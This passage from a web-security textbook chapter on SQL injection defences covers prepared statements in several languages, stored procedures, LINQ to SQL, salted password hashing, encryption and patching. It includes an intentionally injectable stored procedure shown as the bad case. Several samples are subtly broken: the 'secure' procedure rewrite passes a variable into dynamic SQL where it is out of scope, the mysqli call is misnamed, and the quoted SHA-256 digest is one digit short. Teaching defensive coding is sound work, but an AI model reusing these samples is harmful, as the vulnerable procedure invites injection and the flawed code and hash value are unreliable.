Table 3.4  Examples of prepared statements

<table>
<thead>
<tr>
<th>Language</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>C#</td>
<td>String stmt = &quot;SELECT * FROM table WHERE data = ?&quot;; OleDbCommand command = new OleDbCommand(stmt, connection); command.Parameters.Add(new OleDbParameter(&quot;data&quot;, Data d.Text)); OleDbDataReader reader = command.ExecuteReader();</td>
</tr>
<tr>
<td>Java</td>
<td>PreparedStatement stmt = con.prepareStatement(&quot;SELECT * FROM table WHERE data = ?&quot;); stmt.setString(1, data);</td>
</tr>
<tr>
<td>PHP PDO class using named parameters</td>
<td>$stmt = $db-&gt;prepare(&quot;SELECT * FROM table WHERE data = :data&quot;); $stmt-&gt;bindParam(':data', $data); $stmt-&gt;execute();</td>
</tr>
<tr>
<td>PHP PDO class using ordinal parameters</td>
<td>$stmt = $db-&gt;prepare(&quot;SELECT * FROM table WHERE data = ?&quot;); $stmt-&gt;bindParam(1, $data); $stmt-&gt;execute();</td>
</tr>
<tr>
<td>PHP PDO class using array</td>
<td>$stmt = $db-&gt;prepare(&quot;SELECT * FROM table WHERE data = :data&quot;); $stmt-&gt;execute(array(':data' =&gt; $data)); $stmt = $db-&gt;prepare(&quot;SELECT * FROM table WHERE data = ?&quot;); $stmt-&gt;execute(array($data));</td>
</tr>
<tr>
<td>PHP mysqli</td>
<td>$stmt = $mysqli-&gt;prepare(&quot;SELECT * FROM table WHERE data = ?&quot;); $stmt-&gt;bindParam('s', $data);</td>
</tr>
<tr>
<td>Python django.db</td>
<td>from django.db import connection, transaction cursor = connection.cursor() cursor.execute(&quot;SELECT * FROM table WHERE data = %s&quot;, [data])</td>
</tr>
</tbody>
</table>
explicitly (such as asking for an e-mail address or credit-card number) or implicitly (such as reading values from hidden form fields or browser headers). In terms of modifying the sense of an SQL query, prepared statements will not be affected by alternate character sets or encoding techniques found in attacks such as XSS. This doesn’t mean that the result set of a query can’t be affected. Wildcards, in particular, can still affect the amount of results from a query even if the sense of the query can’t be changed. Special characters like the asterisk (*), percent symbol (%), underscore (_), and question mark (?) can be inserted into a bound parameter with undesirable effect. Consider the following code that changes the e-mail comparison from an equality test (=) as in the previous examples to a LIKE statement that would support wildcard matches. As you can see from the bound parameter, this query would return every name in the users’ table whose e-mail address contains the at symbol, (@).

```sql
statement = db.prepare("SELECT name FROM users WHERE email LIKE ?")
statement.bind(1, "%@%")
```

Keep in mind that prepared statements protect the database from being affected by arbitrary statements defined by an attacker, but it will not necessarily protect the database from abusive queries such as full table scans. Prepared statements don’t obviate the need for input validation and careful consideration of how the results of an SQL statement affect the logic of a Web site.

**Stored Procedures**

Stored procedures move a statement’s grammar from the Web application code to the database. They are written in SQL and stored in the database rather than in the application code. Like prepared statements, they establish a concrete query and populate query variables with user-supplied data in a way that should prevent the query from being modified.

Be aware that stored procedures may still be vulnerable to SQL injection attacks. Stored procedures that perform string operations on input variables or build dynamic statements based on input variables can still be corrupted. The ability to create dynamic statements is a powerful property of SQL and stored procedures, but it violates the procedure’s security context. If a stored procedure will be creating dynamic SQL, then care must be taken to validate that user-supplied data are safe to manipulate.

Here is a simple example of a stored procedure that would be vulnerable to SQL injection because it uses the notoriously insecure string concatenation to build the statement passed to the EXEC call. Stored procedures alone don’t prevent SQL injection; they must be securely written.

```sql
CREATE PROCEDURE bad_proc @name varchar(256)
BEGIN
    EXEC ('SELECT COUNT(*) FROM users WHERE name LIKE '' ' + @name + ' ''')
END
```
Our insecure procedure is easily rewritten in a more secure manner. The string concatenation wasn’t necessary, but it should make the point that effective countermeasures require an understanding of why the defense works and how it should be implemented. Here is the more secure version:

```sql
CREATE PROCEDURE bad_proc @name varchar(256)
BEGIN
  EXEC ('SELECT COUNT(*) FROM users WHERE name LIKE @name')
END
```

Stored procedures should be audited for insecure use of SQL string functions such as SUBSTRING, TRIM, and the concatenation operator (double pipe characters `||`). Many SQL dialects include a wide range of additional string manipulation functions such as MID, SUBSTR, LTRIM, RTRIM, and concatenation operators using plus (+), the ampersand (&), or a CONCAT function.

**NET Language-Integrated Query**

Microsoft developed Language-Integrated Query (LINQ) for its .NET platform to provide query capabilities for relational data stored within objects. It enables programmers to perform SQL-like queries against objects populated from different types of data sources. Our interest here is the LINQ to SQL component that turns LINQ code into a SQL statement.

In terms of security, LINQ to SQL provides several benefits. The first benefit, though it straddles the line of subjectivity, is that LINQ’s status as code may make queries and the handling of result sets clearer and more manageable to developers as opposed to handling raw SQL. Uniformity of language helps reinforce good coding practices. Readable code tends to be more secure code – SQL statements quickly devolve into cryptic runes reminiscent of the Rosetta Stone; LINQ to SQL may make for clearer code.

The fact that LINQ is a code also means that errors in syntax can be discovered at compile time rather than run time. Compile-time errors are always preferable because a complex program’s execution path has many permutations. It is very difficult to reach all the various execution paths to verify that no errors will occur. Immediate feedback regarding errors helps resolve those errors more quickly.

LINQ separates the programmer from the SQL statement. The end result of a LINQ to SQL statement is, of course, raw SQL. However, the compiler builds the SQL statement using the equivalent of prepared statements, which help preserve the developer’s intent for the query and prevents many problems related to building SQL statements via string concatenation.

Finally, LINQ lends itself quite well to programming abstractions that improve security by reducing the chance for developers’ mistakes. LINQ to SQL queries are brokered through a DataContext class. Thus, it is simple to extend this class to create read-only queries or methods that may only access particular tables or columns from the database. Such abstractions would be well applied for a database-driven Web site regardless of its programming language.

**WARNING**

The `ExecuteCommand` and `ExecuteQuery` functions execute raw SQL statements. Using string concatenation to create a statement passed to either of these functions reopening the possibility of SQL injection. String concatenation also implies that the robust functional properties of LINQ to SQL are being ignored. Use LINQ to SQL to abstract the database queries. Simply using it as a wrapper for insecure, outdated techniques won’t improve your code.

**Protecting Information**

Compromising the information in a database is not the only goal of an attacker, but it surely exists as a major one. Many methods are available to protect information in a database from unauthorized access. The problem with SQL injection is that the attack is conducted through the Web site, which is an authorized user of the database. Consequently, any approach that attempts to protect the information must keep in mind that even though the adversary is an anonymous attacker somewhere on the Internet, the user accessing the database is technically the Web application. What the Web application sees, the attacker sees. Nevertheless, encryption and data segregation help mitigate the impact of SQL injection in certain situations.

**Encrypting Data**

Encryption protects the confidentiality of data. The Web site must have access to the unencrypted form of most information to build pages and manipulate user data. However, encryption still has benefits. Web sites require users to authenticate, usually with a username and password, before they can access certain areas of the site. A compromised password carries a significant amount of risk. Hashing the password reduces the impact of compromise. Raw passwords should never be stored by the application. Instead, hash the passwords with a well-known, standard cryptographic hash function such as SHA-256. The hash generation should include a salt, as demonstrated in the following pseudocode:

```java
salt = random_chars(12);  // some number of random characters
prehash = salt + password;  // concatenate the salt and password
hash = sha256(prehash);  // generate the hash
sql.prepare("INSERT INTO users (username, salt, password) VALUES
(?, ?, ?)");
sql.bind(1, user);
sql.bind(2, salt);
```
sql.bind(3, hash);
sql.execute();

The presence of the salt blocks precomputation attacks. Attackers who wish to
brute force a hashed password have two avenues of attack, a CPU-intensive one
and a memory-intensive one. Precomputation attacks fall in the memory-intensive
category. They take a source dictionary, hash every entry, and store the results. To
guess the string used to generate a hash, the attacker looks up the hashed value
in the precomputed table and checks the corresponding value that produced it.
For example, the SHA-256 hash result of “125” always results in the same hexa-
decimal string (this holds true regardless of the particular hashing algorithm; only
different hash functions produce different values). The SHA-256 value for “125”
is shown below:

a5e45837a2959db847f7e67a915d0ecadd47f943af2af5fa6453be497faabca.

So, if the attacker has a precomputed hash table and obtains the hash result of the
password, the seed value is trivially found with a short lookup.
On the other hand, adding a seed to each hash renders the lookup table useless.
So, if the application stores the result of “Lexington, 125” instead of “125,” then the
attacker must create a new hash table that takes into account the seed.
Hash algorithms are not reversible; they don’t preserve the input string. They suf-
fice for protecting passwords but not for storing and retrieving items such as personal
information, medical information, or other confidential data.
Separate data into categories that should be encrypted and does not need to be
encrypted. Leave sensitive at-rest data (that is, data stored in the database and not
currently in use) encrypted.

SQL injection exploits that perform table scans won’t be able to read encrypted
content.

**Segregating Data**
Different data require different levels of security, whether based on internal policy
or external regulations. A database schema might place data in different tables based
on various distinctions. Web sites can aggregate data from different customers into
individual tables. Or the data may be separated based on sensitivity level. Data seg-
regation can also be accomplished by using different privilege levels to execute SQL
statements. This step, such as data encryption, places heavy responsibility on the
database designers to establish a schema whose security doesn’t negatively impact
performance or scaleability.

**Stay Current with Database Patches**
Not only might injection payloads modify database information or attack the
underlying operating system, but some database versions are prone to buffer over-
flows exploitable through SQL statements. The consequence of buffer overflow
exploits range from inducing errors to crashing the database to running code of the attacker’s choice. In all cases, up-to-date database software avoids these problems.

Maintaining secure database software involves more effort than simply applying patches. Because databases serve such a central role to a Web application, the site’s owners approach any change with trepidation. Although software patches should not induce new bugs or change the software’s expected behavior, problems do occur. A test environment must be established to stage software upgrades and ensure they do not negatively impact the Web site.

This step requires more than technical solutions. As with all software that comprises the Web site, an upgrade plan should be established that defines levels of criticality with regard to risk to the site posed by vulnerabilities, expected time after availability of a patch in which it will be installed, and an environment to validate the patch. Without this type of plan, patches will at best be applied in an ad hoc manner and at worst prove to be such a headache that they are never applied.

**SUMMARY**

Web sites store ever-increasing amounts of information about their users, users’ habits, content, finances, and more. These massive data stores present appealing targets for attackers who wish to cause damage or make money by maliciously accessing the information. Although credit cards often spring to mind at the mention of SQL injection, any information has value to the right buyer. In an age of organized hacking, attackers will gravitate to the information with the greatest value via the path of least resistance.

In the first two chapters, “Cross-Site Scripting” and “Cross-Site Request Forgery,” we covered attacks that exploit a Web site to attack the Web browser. Here, we have changed course to examine an attack directed solely against the Web site and its database: SQL injection. A single SQL injection attack can extract the records for every user of the Web site, whether that user is active or not.

SQL injection attacks are also being used to spread malware. As we saw in the opening description of the ASProx botnet, automated attacks were able to infect tens of thousands of Web sites by exploiting a simple vulnerability. Attackers no longer need to rely on buffer overflows in a Web server or spend time crafting delicate assembly code to reach a massive number of victims or to obtain an immense number of credit cards.

For all the negative impact of an SQL injection vulnerability, the countermeasures are surprisingly simple to enact. The first rule, which applies to all Web development, is to validate user-supplied data. SQL injection payloads require a limited set of characters to fully exploit a vulnerability. Web sites should match the data received from a user against the type (for example, integer, string, date) and content (for example, e-mail address, first name, telephone number) expected. The best countermeasure
against SQL injection is to target its fundamental issue: using data to rewrite the grammar of a SQL statement. Piecing together raw SQL statements via string concatenation and variable substitutions is the path to insecurity. Use prepared statements (synonymous with parameterized statements or bound parameters) to ensure that the grammar of a statement remains fixed regardless of what user-supplied data are received.